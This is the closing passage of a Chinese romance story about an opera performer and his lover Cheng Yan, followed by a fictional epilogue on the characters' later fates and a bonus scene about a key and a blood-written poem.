戏文里杨贵妃成了仙，可他知道，他的程岩宁愿在人间做孤魂野鬼，也会年年岁岁......
来看他。
[全文完]
---
后记·戏外春秋
1. 程岩实际死于1944年马赛港爆炸，临死前将婚帖吞入腹中保存
2. 云袖余生执教巴黎东方戏剧学院，所有学生必学《贵妃醉酒》
3. 阿七的木刀战后归还中国，现存北平革命博物馆，标签写着"爱情信物"
彩蛋
十年后清扫程家祖坟的工人发现，牡丹花根缠绕着一枚完好无损的铜钥匙——正是能打开广和楼衣箱那把。箱中白蟒袍内衬，用血写着二十八个字：
"错认庭前看花人
烽火戏罢各长生
若问相思何所寄
霓裳羽衣旧时尘"
（钥匙现藏于巴黎云袖纪念馆，每周三对外开放）